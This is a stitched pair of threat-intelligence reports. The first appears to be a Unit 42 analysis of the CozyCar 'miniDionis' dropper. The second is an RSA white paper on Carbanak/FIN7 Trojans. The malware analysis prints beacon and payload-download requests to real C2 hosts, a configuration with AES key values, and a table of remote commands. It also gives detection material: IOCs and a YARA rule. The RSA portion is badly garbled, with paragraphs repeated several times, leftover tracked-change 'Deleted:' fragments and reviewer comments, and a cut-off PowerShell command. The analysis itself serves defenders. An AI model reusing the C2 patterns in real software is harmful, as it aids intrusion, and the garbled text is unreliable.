Malware Details The Initial Droppers: Decoy and Downloader The current CozyCar campaign includes spear phishing emails that deliver the payload from either by a link to a .zip file on a compromised website or by direct delivery as an attachment to the phish.
At the time of our analysis, the phishing link was no longer active.
When a user opens the attached file a poorly detected executable file [VT 1/54] is extracted.
The initial dropper is a self-extracting archive (SFX).
Upon execution, this executable file will drop two files in the TEMP directory: a decoy .wav file and the secondary dropper.
The CozyDuke group commonly uses legitimate media files to trick users.
In reality, while the media a .wav file with a female voice claiming to be a reporter looking for commentary is played, the secondary dropper executes in the background.
The secondary dropper requests a .swf file using SSL as illustrated in the HTTP traffic below.
As of this writing, the domain extranet.qualityplanning[.
]com resolved to 64.244.34[.
]200.
GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtmlxml,/ Accept-Language: en_US User-Agent: Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Host: extranet.qualityplanning[.
]com Connection: Keep-Alive GET /webscriptsecurity/view/4/player.swf HTTP/1.1 Accept: text/html,application/xhtmlxml,/ Accept-Language: en_US User-Agent: Mozilla/5.0 (compatible MSIE 8.0 Windows NT 5.1 Trident/4.0 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Host: extranet.qualityplanning[.
]com Connection: Keep-Alive The secondary dropper then cleans up after itself with a simple vbs script (md5:0d132ee171768dc30d14590ed2dbadd1) that leaves only the decoy multimedia file behind.
But what did the dropper do with the .swf file?
The Real Payload While the player.swf file downloaded by the second stage dropper does contain media, it is, again, a decoy.
The actual flash component of this file is roughly 16kb, leaving approximately 200kb of the file unaccounted for.
The second stage dropper contains decoding routines that decode the arbitrary binary data into an executable file.
The executable file is dropped in appdata/Roaming and appears to try and emulate legitimate software names: TimbuktuDaemon, SearchIndexer, RtkAudioService64, dirmngr, o2flash, and usbrefs64.
This file was not observed on VirusTotal until July 9 and has extremely low detection rates [VT: 3/54].
It appears that the authors of this particular iteration of the CozyCar groups malware internally call it miniDionis according to pdb strings left in the binary (c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb).
It also appears to be an iteration on the forkmeimfamous aka Seaduke malware analyzed by Unit 42 in a previous blog [4].
The malware stores 2 files in the temp directory: a configuration file and a secondary dll.
The configuration files name matches the final characters of the bot_id that is contained within as per the sample below: bot_id: 8C9U-01MRLXW, host_scripts: [ https://www.illuminatistudios.net/mobile/viewer.php ] bot_id: 8C9U-01MRLXW, host_scripts: [ https://www.illuminatistudios.net/mobile/viewer.php ] Figure 1.
.net disassembly of the primary payload shows the authors name for the project, miniDionis.
Analysis of the secondary dll file (name matches [A-Z0-9]1\.tmp) indicates that its primary function is to serve as a cleanup mechanism for the dropped binary.
This is likely an attempt to thwart forensic investigations.
Further examination of memory dumps taken following the execution of miniDionis reveals some clues into the beaconing activity exhibited.
The malware stores configuration values in memory as key:value pairs: http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/net-fig-2.png autoload_settings: app_name: Wuauctl, delete_after: false, exe_name: Wuauctl.exe , cookie_name: SSID, enable_autoload: false, first_run_delay: 0, host_scripts: [ https://www.illuminatistudios[.
]net/mobile/viewer.php ], key_id: 01MRLXW, keys: aes: PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU, aes_iv: tYa/iASKhNsyzFZjHolthw , user_agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 autoload_settings: app_name: Wuauctl, delete_after: false, exe_name: Wuauctl.exe , cookie_name: SSID, enable_autoload: false, first_run_delay: 0, host_scripts: [ https://www.illuminatistudios[.
]net/mobile/viewer.php ], key_id: 01MRLXW, keys: aes: PmDqw0pO4Rju5MFsqkRj7k5pV/84kXC9NdjIRgkN8gU, aes_iv: tYa/iASKhNsyzFZjHolthw , user_agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko The configuration of miniDionis is a JSON blob with several important sections, which are described in the table below: Key Functionality autoload_settings dictionary containing values which control the malwares behavior when executing via persistence mechanisms app_name subkey of autload_settings, defines the value to be used as the malwares name delete_after subkey of autload_settings, boolean value that defines whether the executable is to be deleted after exectuing exe_name subkey of autload_settings, defines the value to be used as the exectuable files name cookie_name defines the value in which cookie data will be stored enable_autoload boolean value which controls persistence first_run_delay time in seconds to delay initial beaconing after execution host_scripts dictionary containing the location of C2s key_id equivalent to the bot_id also used to derive values in C2 comms keys dictionary containing an AES key and AES IV aes aes value aes_iv aes_iv user_agent HTTP User-Agent header to be used when communicating with a C2 Table 1.
miniDionis configuration keys Network Communications The functional payload of this Trojan starts by creating a Mutex by splitting the bot_id value in the configuration on the hyphen (-) and using the second portion of the split string (specifically, 01MRLXW in the case of this configuration).
From a functionality standpoint, the Trojan uses the concept of tasks that are processed and completed using a pool of threads.
To obtain tasks, the Trojan will issue an HTTPS request to the C2 server (host_scripts in the configuration) that resembles the following example beacon: GET /mobile/viewer.php HTTP/1.1 Accept: / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko Host: www.illuminatistudios[.
]net Cookie: SSIDsLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive GET /mobile/viewer.php HTTP/1.1 Accept: / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1 WOW64 Trident/7.0 rv:11.0) like Gecko Host: www.illuminatistudios[.
]net Cookie: SSIDsLW5XoHJDwU3YxCRzwsEnfPPksD1sggcC8-25A Accept-Encoding: gzip, deflate Connection: Keep-Alive The Trojan manually creates the cookie in this HTTP request.
The cookie contains ciphertext that the Trojan creates based on the bot_id in the JSON configuration.
The Trojan compresses the bot_id string using zlib and then encrypts it using the RC4 algorithm using a generated key.
The generated key is a SHA1 hash of two randomly created strings: the first of which is between 2 and 8 bytes long and the second is between 1 and 7 characters in length.
The ciphertext of the bot_id is then based64 encoded and finally the appended to the cookie_name (SSID) in the configuration and sent within the HTTP request to the C2 server.
Unit 42 did not observe the first random string (between 2 and 8 characters in length) sent to the C2 in the first beacon, which would be required by the C2 to reproduce the exact SHA1 hash used as a key to generate the ciphertext in the cookie.
Upon further examination we believe that the C2 will not be able to decrypt the cookie in the first beacon.
Instead, the C2 will respond to the first beacon with data that the Trojan will use to extract a string, using a function named TrExtractKey seen in Figure 2, to replace the first random string used to generate the SHA1 hash.
Once the C2 and Trojan have synchronized using this string, the C2 will be able to decrypt subsequent network beacons because the Trojan includes the random string between 1 and 7 characters that makes up the second half of the SHA1 hash within the cookie field before the ciphertext.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/07/fig-3.png Figure 2.
TrExtractKey Function Used by MiniDionis to Obtain String from C2 to Synchronize Keys The C2 communications, and several of the commands we will discuss in this blog, include a rather interesting technique to manually handle HTTP redirection, such as the HTTP 301 Moved Permanently and HTTP 302 Found status codes.
The technique used to handle these redirections involves checking for the presence of a Location field within the HTTP headers of the server response, then using regular expressions to parse the HTML within server response to find the appropriate URL.
The code contains three regular expressions to parse the HTML to locate the URL, the first of which is a.?.
?/a that locates all of the tags associated with link within the HTML.
The second regular expression of onclick\Accept()\ locates only links within the HTML with a specific onclick action.
The last regular expression of href\\s\\s(?
:[\](?1[\])[\](?1\\S)) to obtain the correct URL to interact with as the C2 server.
Command handler Once the C2 and Trojan have synchronized and can decrypt their network communications the C2 server will begin responding to beacons from the Trojan with JSON blobs.
Unit 42 has not received any JSON blobs from an active C2 server, but based on static analysis of the Trojan determined the JSON would look as follows: tasks : [ task_id : , task_data : command : , data : , ] tasks : [ task_id : , task_data : command : , data : , ] The Trojan takes this JSON blob and adds each task in the list into a pool for processing.
Separate worker threads access this pool of tasks and process the commands and perform the necessary activities.
Unit 42 analyzed the Trojans command handler and found several commands, as seen in Table 2, which allows the threat actors to carry out a full range of activities on the system.
Command Sub-Command Description cmd Checks for subcommands within the data section, if not it attempts to run the data using cmd /c data cd Changes directory pwd Returns current working directory cdt Change to temporary directory :set_update_interval Sets the timeout between network beacons :proxy Configures proxy information :exit Exits the Trojan and responds to the C2 server with Bye :wget Downloads a file from a specified URL :uploadto Uploads a file to a specified URL exec Launches an application and waits for it to exit execw Launches an applications and does not wait for it to exit upl Uploads or downloads from a list of files to or from the C2 server srv Sends system information from the compromised system to the C2 server Table 2.
Available Commands within MiniDionis Command Handler Conclusion The actors behind the CozyDuke framework are highly sophisticated, motivated, and have become increasingly bold in their campaigns.
We recommend that other security practitioners review the included Indicators of Compromise (IoCs) to ensure they have not been targets in this campaign, and add the appropriate security controls to prevent future attacks.
This group is reliant on social engineering, and thus, user education remains of paramount importance.
Palo Alto Networks customers using WildFire were protected from this campaign.
All known elements of this campaign have been accurately identified by WildFire as malicious.
IOCs domain ff.whitebirchpaper[.
]com domain visionresearch[.
]com domain betawebservices.ntnonline[.
]com domain staff.shasta[.
]com hostname extranet.qualityplanning[.
]com hostname secure.hgl[.
]com hostname illuminatistudios[.
]net ip 103.254.16.168 ip 103.226.132.7 ip 122.228.193.115 md5 01039a95e0a14767784acc8f07035935 md5 0f9534b63cb7af1e3aa34839d7d6e632 md5 2e64131c0426a18c1c363ec69ae6b5f2 md5 70f5574e4e7ad360f4f5c2117a7a1ca7 md5 1dd593ad084e1526c8facce834b0e124 md5 42ffc84c6381a18b1f6d000b94c74b09 md5 719cf63a3922953ceaca6fb4dbed6584 md5 f415470b9f0edc1298b1f6ae75dfaf31 md5 ca770a4c9881afcd610aad30aa53f651 md5 24083e6186bc773cd9c2e70a49309763 md5 b0a9a175e2407352214b2d005253bc0c md5 b55628a605a5dfb5005c44220ae03b8a md5 26bd36cc57e30656363ca89910579f63 md5 a9c045c401afb9766e2ca838dc6f47a4 md5 f8cb10b2ee8af6c5555e9cf3701b845f md5 c8b49b42e6ebb6b977ce7001b6bd96c8 md5 030da7510113c28ee68df8a19c643bb0 md5 e07ef8ffe965ec8b72041ddf9527cac4 md5 4cbd9a0832dcf23867b092de37c10d9d md5 3a04a5d7ed785daa16f4ebfd3acf0867 md5 9018fa0826f237342471895f315dbf39 md5 98613ecb3afde5fc48ca4204f8363f1d md5 e00bf9b8261410744c10ae3fe2ce9049 md5 51ea28f4f3fa794d5b207475897b1eef md5 3195110045f64a3c83fc3e043c46d253 md5 1dd593ad084e1526c8facce834b0e124 url connectads[.
]com url kane-consulting[.
]net url edadmin.kearsney[.
]com url redbluffchamber[.
]com Sources [1] https://securelist.com/blog/research/69731/the-cozyduke-apt/ [2] http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory [3] http://www.theregister.co.uk/2015/04/22/cozyduke_hackers_white_house_state_dept_malware/ [4] http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ https://securelist.com/blog/research/69731/the-cozyduke-apt/ http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://www.theregister.co.uk/2015/04/22/cozyduke_hackers_white_house_state_dept_malware/ http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/
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WHITE PAPER THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT WHITE PAPER CONTENT 1.
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WHITE PAPER THE CARBANAK/FIN7 SYNDICATE A HISTORICAL OVERVIEW OF AN EVOLVING THREAT WHITE PAPER CONTENT 1.
Executive Summary..................................................................................................... 1 2.
The Digital Arsenal..................................................................................................... 2 2.1.
Overview............................................................................................................. 2 2.1.1.
Anunak/Sekur............................................................................................................ 2 2.1.2.
Carberp...................................................................................................................... 7 2.1.3.
Other Windows Trojans....................................................................................... 11 2.1.4.
Linux and Other Tools.......................................................................................... 16 3.
Anunak Historical Overview.................................................................................. 22 4.
Overlap with Common Crimeware Campaigns................................................ 26 5.
Current Activity......................................................................................................... 30 6.
Recommendations.................................................................................................... 32 7.
Conclusions................................................................................................................. 33 Appendix.......................................................................................................................... 34 WHITE PAPER 1 1.
EXECUTIVE SUMMARY syndicate noun /sin-di-kt/ 1.
a group of individuals or organizations combined to promote some common interest.
The criminal gangs of the Carbanak/FIN7 syndicate have been attributed to numerous intrusions in the banking, hospitality, retail and other industrial verticals, collecting financial information of all kinds.
The name Carbanak comes from Carberp, a banking Trojan whose source code was leaked, and Anunak, a custom Trojan that has evolved over the years.
Since at least 2015, the group appears to have fragmented into smaller, loosely related groups, each with its own preferred toolsets and Trojans, although many similarities in tactics, techniques and procedures (TTPs) exist.
Using APT-style tactics and techniques, the perpetrators compromise an organization, quickly escalate privileges and begin searching for any system that could access the financial data of interest.
This ranges from scanning the network via WMI to look for running process names containing clear text credit card information, to monitoring a users screen to learn how to operate the systems used to process financial information.
Once they find these data and a method to access this financial information, they begin bulk harvesting.
If it is credit card track data, it can be turned around and sold on carder forums in bulk.
ATM and SWIFT data require more and less legwork, respectively.
Based on these tactics, the Carbanak/FIN7 syndicate is oftentimes considered an APT.
Given our research, RSA disagrees with this classification.
While the group is an extremely persistent threat, they are not advanced and dont demonstrate having access to zero-day exploits or innovative tools.
This gives network defenders the edge in protecting their financial data.
With proper visibility and control sets in place, an analyst can easily identify these techniques and remediate quickly, thus shortening attacker dwell time and helping to prevent exfiltration of sensitive data.
During the course of investigation, RSA Research observed Carbanak actors employing a handful of unique Trojans, along with freely available malware, to persist and move laterally once a network foothold was established.
While many of these methods are novel, they are also well-known in the penetration testing industry.
This is most likely by design, as many of these remote administration tools are frequently used by network administrators for legitimate purposes and would not have antivirus coverage or seem out of the ordinary.
Employing the least sophisticated methods available, the Carbanak actors safeguard more advanced tools from being identified, and potentially invalidated, through static or behavioral detection techniques.
https://www.google.com/search?sourcehpqdefinesyndicateoqdefinesyndicategs_lpsy-ab.3..35i39k1l2j0l2.600.2467.0.2628.17.13.0.0.0.0.259.1647.0j7j2.9.0....0...1.1.64.psy-ab..8.9.1646.0..0i20k1j0i131k1j0i67k1.0.e_44dxWZJ_s https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html https://github.com/nyx0/Carberp https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://en.wikipedia.org/wiki/Carding_(fraud) WHITE PAPER 2 This paper reviews the characteristics of Carbanaks known Trojans and TTPs to provide network defenders a better understanding of the groups capabilities and history.
Armed with this knowledge, defenders should be able to better assess risk and allocate resources to the appropriate blind spots that plague most modern networked organizations.
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Deleted: Deleted: Deleted: , Deleted: .
Deleted: Deleted: WHITE PAPER 3 Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEye goes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEyegoes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Deleted: Deleted: Anti-Virus Deleted: Deleted: in Deleted: Deleted: Instant Deleted: Indicators Deleted: Compromise The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEyegoes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Deleted: Deleted: Anti-Virus Deleted: Deleted: in Deleted: Deleted: Instant Deleted: Indicators Deleted: Compromise The malware then allocates executable memory inside the svchost.exe address space, unpacks and injects the expanded DLL, and creates the main thread for the Anunak/Sekur malware.
The Trojan is then copied into two startup directories with a name based off the MAC address and machine name (Figures 2 and 3).
Figure 2: Autoruns Figure 3: Entrenchment and Injection The Trojan then enumerates the running processes, looking for specific antivirus vendors and killing their worker processes to increase chances of persistence.
The Trojan also drops and reads a configuration file with initial instructions into the C:\ProgramData\Mozilla\ directory with a filename based off the MAC address and machine name (Figure 4).
Figure 4: Anunak/Sekur Initial Configuration Example FireEyegoes in-depth into the observed variants, commands the Trojan receives and configurations discovered in the wild.
RSA NetWitness Endpoint can detect this injected DLL (Figure 5) and triggers many instant indicators of compromise (IIOCs) (Figure 6) that ship with the product, by default.
Deleted: Deleted: Anti-Virus Deleted: Deleted: in Deleted: Deleted: Instant Deleted: Indicators Deleted: Compromise Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Figure 6: IIOCs Triggered in RSA NetWitness Endpoint The Anunak/Sekur Trojan may be configured to communicate with the Command and Control [C2] server in two ways: via HTTP or a custom protocol to a hardcoded IP address.
Often the Trojan is configured with both methods.
The HTTP request is easily detected with RSA NetWitness Logs and Packets using the RSA NetWitness Hunting Pack and following the recommendations in the HTTP section.
The HTTP method uses the GET (Figure 7) and POST (Figure 8) methods to create a covert, bi- directional communication channel with the C2.
It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry.
Deleted: Deleted: Deleted: - Deleted: Deleted: Deleted: Packets Deleted: Logs Comment [DC17]: Cananyoneaccessthisorisitopen publicly?
Comment [e18]: Public Deleted: Section Deleted: Deleted: https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html WHITE PAPER 4 Figure 6: IIOCs Triggered in RSA NetWitness Endpoint The Anunak/Sekur Trojan may be configured to communicate with the Command and Control [C2] server in two ways: via HTTP or a custom protocol to a hardcoded IP address.
Often the Trojan is configured with both methods.
The HTTP request is easily detected with RSA NetWitness Logs and Packets using the RSA NetWitness Hunting Pack and following the recommendations in the HTTP section.
The HTTP method uses the GET (Figure 7) and POST (Figure 8) methods to create a covert, bi-directional communication channel with the C2.
It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry.
Figure 7: Anunak/Sekur HTTP GET Request Figure 5: Injected DLLs Detected by RSA NetWitness Endpoint Figure 6: IIOCs Triggered in RSA NetWitness Endpoint The Anunak/Sekur Trojan may be configured to communicate with the Command and Control [C2] server in two ways: via HTTP or a custom protocol to a hardcoded IP address.
Often the Trojan is configured with both methods.
The HTTP request is easily detected with RSA NetWitness Logs and Packets using the RSA NetWitness Hunting Pack and following the recommendations in the HTTP section.
The HTTP method uses the GET (Figure 7) and POST (Figure 8) methods to create a covert, bi- directional communication channel with the C2.
It generally has very few HTTP headers and oftentimes uses the default User-Agent configured in the Windows Registry.
Deleted: Deleted: Deleted: - Deleted: Deleted: Deleted: Packets Deleted: Logs Comment [DC17]: Cananyoneaccessthisorisitopen publicly?
Comment [e18]: Public Deleted: Section Deleted: Deleted: Figure 7: Anunak/Sekur HTTP GET Request Figure 8: Anunak/Sekur HTTP POST Request This type of HTTP C2 communication is common to many malware families and is a good reason to follow up any detection and not treat it as routine.
Pivoting into RSA NetWitness Endpoint and finding the module creating the connections leads us to the injected DLLs and tracking data behavior (Figure 9).
Deleted: - Deleted: .
Deleted: Deleted: https://community.rsa.com/docs/DOC-62341 WHITE PAPER 5 Figure 8: Anunak/Sekur HTTP POST Request This type of HTTP C2 communication is common to many malware families and is a good reason to follow up any detection and not treat it as routine.
Pivoting into RSA NetWitness Endpoint and finding the module creating the connections leads us to the injected DLLs and tracking data behavior (Figure 9).
Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right- click the DLL, select analyze and view the strings.
The configuration path C:\ ProgramData\Mozilla\varies.bin should be visible in the DLLs strings, and discovery of this activity can be automated with a YARA signature.
YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak meta: author RSA FW strings: mz 4D 5A regex /\:\\ProgramData\\Mozilla\\.12,20\.bin/ condition: mz at 0 and regex Figure 7: Anunak/Sekur HTTP GET Request Figure 8: Anunak/Sekur HTTP POST Request This type of HTTP C2 communication is common to many malware families and is a good reason to follow up any detection and not treat it as routine.
Pivoting into RSA NetWitness Endpoint and finding the module creating the connections leads us to the injected DLLs and tracking data behavior (Figure 9).
Deleted: - Deleted: .
Deleted: Deleted: Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right-click the DLL, select analyze and view the strings.
The configuration path C:\ProgramData\Mozilla\varies.bin should be visible in the DLLs strings, and discovery of this activity can be automated with a YARA signature.
YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak meta: author RSA FW strings: mz 4D 5A regex /\:\\ProgramData\\Mozilla\\.12,20\.bin/ condition: mz at 0 and regex The second method of C2, a custom TCP-based protocol, is more difficult to find.
The protocol has evolved over the yearsmost recent observations showing its now fully encryptedmaking the data appear random.
However, there is a distinct handshake in the latest encrypted version.
After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server acknowledges.
The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10).
This is followed by the server sending a packet with a 32-byte payload (Figure 11).
Figure 10: Handshake Request Sequence Deleted: right Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: WHITE PAPER 6 The second method of C2, a custom TCP-based protocol, is more difficult to find.
The protocol has evolved over the yearsmost recent observations showing its now fully encryptedmaking the data appear random.
However, there is a distinct handshake in the latest encrypted version.
After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server acknowledges.
The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10).
This is followed by the server sending a packet with a 32-byte payload (Figure 11).
Figure 10: Handshake Request Sequence Figure 11: Handshake Response Request When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field (Figure 12).
While we have high confidence in these results, please be aware that under rare circumstances this parser may false alarm on sessions that have the same handshake pattern and arent actually the Trojans C2 communications.
Any Sekur handshake hits should be investigated on the host using the above information on the behavior of this Trojan.
Figure 9: Anunak/Sekur Network Tracking Data Since RSA NetWitness Endpoint downloads the injected DLL, you can right-click the DLL, select analyze and view the strings.
The configuration path C:\ProgramData\Mozilla\varies.bin should be visible in the DLLs strings, and discovery of this activity can be automated with a YARA signature.
YARA Signature for Anunak/Sekur Injected DLL rule Carbanak_Anunak meta: author RSA FW strings: mz 4D 5A regex /\:\\ProgramData\\Mozilla\\.12,20\.bin/ condition: mz at 0 and regex The second method of C2, a custom TCP-based protocol, is more difficult to find.
The protocol has evolved over the yearsmost recent observations showing its now fully encryptedmaking the data appear random.
However, there is a distinct handshake in the latest encrypted version.
After the TCP handshake, the Trojan sends packet with a 64-byte payload, which the server acknowledges.
The Trojan then sends a packet with a 224-byte payload, which the server also acknowledges (Figure 10).
This is followed by the server sending a packet with a 32-byte payload (Figure 11).
Figure 10: Handshake Request Sequence Deleted: right Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Figure 11: Handshake Response Request When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field (Figure 12).
While we have high confidence in these results, please be aware that under rare circumstances this parser may false alarm on sessions that have the same handshake pattern and arent actually the Trojans C2 communications.
Any Sekur handshake hits should be investigated on the host using the above information on the behavior of this Trojan.
Figure 12: Anunak/Sekur Handshake Metadata 2.1.2.
Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak.
This Trojan has been around at least since 2010 with the source code leaked in 2013.
Carberp was likely chosen by the actors for both its plug-in capability and code availability.
This provides some operational obscurity for Carbanak/FIN7, as numerous variants of this code were used (and remain in use) by other Crimeware actors.
RSA Incident Response Services has dealt with these specific Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research.
The droppers come in two versions, 32-bit and 64-bit.
We will look at the 32-bit version.
Metadata File Name: ml.exe File Size: 96256 bytes MD5: 608b8bc44a59e2d5c6bf0c5ee5e1f517 SHA1: 37de1791dca31f1ef85a4246d51702b0352def6d PE Time: 0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] Sections (4): Name Entropy MD5 Deleted: Packet Deleted: Decoder Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Deleted: Fin7 Deleted: 2 Deleted: , Deleted: WHITE PAPER 7 Figure 12: Anunak/Sekur Handshake Metadata 2.1.2.
Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak.
This Trojan has been around at least since 2010 with the source code leaked in 2013.
Carberp was likely chosen by the actors for both its plug-in capability and code availability.
This provides some operational obscurity for Carbanak/ FIN7, as numerous variants of this code were used (and remain in use) by other Crimeware actors.
RSA Incident Response Services has dealt with these specific Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research.
The droppers come in two versions, 32-bit and 64-bit.
We will look at the 32-bit version.
Metadata File Name: ml.exe File Size: 96256 bytes MD5: 608b8bc44a59e2d5c6bf0c5ee5e1f517 SHA1: 37de1791dca31f1ef85a4246d51702b0352def6d PE Time: 0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] Sections (4): Name Entropy MD5 .text 6.9 6b51c476e9cae2a88777ee330b639166 .rdata 4.85 ad94fa5c9ff3adcdc03a1ad32cee0e3a .data 1.2 2e2bc95337c3b8eb05467e0049124027 .rsrc 4.13 7396ce1f93c8f7dd526eeafaf87f9c2e Figure 13: Carberp Dropper Metadata The first noticeable item is that the compile time seems to be in the future.
In RSA NetWitness Endpoint, the compile time can be added in the Global Modules List and sorted on.
The two extremes are generally where the interesting modules can be found, either a very long time ago or sometime in the future.
When executed, the dropper checks to see if PowerShell is on the system and then creates registry keys in HKEY_CURRENT_USER\Software\Licenses.
HKEY_CURRENT_USER specifies the logged-on user profile, meaning this malware will only launch when the user who ran the dropper logs on.
This technique is oftentimes labelled as file-less malware, but the users Registry Hive, NTUSER.dat, is a hidden file residing in the users root directory.
Figure 11: Handshake Response Request When the RSA NetWitness packet decoder sees this sequence, the metadata sekur handshake is registered in the Indicators of Compromise field (Figure 12).
While we have high confidence in these results, please be aware that under rare circumstances this parser may false alarm on sessions that have the same handshake pattern and arent actually the Trojans C2 communications.
Any Sekur handshake hits should be investigated on the host using the above information on the behavior of this Trojan.
Figure 12: Anunak/Sekur Handshake Metadata 2.1.2.
Carberp The Carberp banking Trojan is responsible for the first half of the name Carbanak.
This Trojan has been around at least since 2010 with the source code leaked in 2013.
Carberp was likely chosen by the actors for both its plug-in capability and code availability.
This provides some operational obscurity for Carbanak/FIN7, as numerous variants of this code were used (and remain in use) by other Crimeware actors.
RSA Incident Response Services has dealt with these specific Carbanak/FIN7 actors multiple times, with this variant analyzed by RSA Research.
The droppers come in two versions, 32-bit and 64-bit.
We will look at the 32-bit version.
Metadata File Name: ml.exe File Size: 96256 bytes MD5: 608b8bc44a59e2d5c6bf0c5ee5e1f517 SHA1: 37de1791dca31f1ef85a4246d51702b0352def6d PE Time: 0x658ACD2B [Tue Dec 26 12:55:07 2023 UTC] Sections (4): Name Entropy MD5 Deleted: Packet Deleted: Decoder Deleted: Deleted: Deleted: Deleted: Fin7 Deleted: Deleted: Fin7 Deleted: 2 Deleted: , Deleted: https://github.com/nyx0/Carberp https://github.com/nyx0/Carberp https://www.rsa.com/en-us/services/rsa-risk-and-cybersecurity-practice/rsa-incident-response-practice WHITE PAPER 8 On Windows Vista and newer Microsoft operating systems, this is in C:\ Users\username\ older Windows versions reside in C:\Documents and Settings\username\.
This represents a problem for the incident responder, as the malware is not present in memory, only in the registry, unless the specific user is logged on.
This is an interesting way to avoid detection by endpoint detection and response (EDR) tools.
Using a bit of creativity and PowerShell, responders can build a script that queries for user profiles and retrieves the actual Registry Hive or queries for the registry key itself.
The first registry key created is 01838681CA59881EA and contains the binary shellcode used to unpack the encoded payload DLL.
The second key is 01838611EAC11772E and contains a base 64 encoded PowerShell command (Figure 14).
PowerShell Command Encoded wnew ActiveXObject(WScript.
Shell)w.
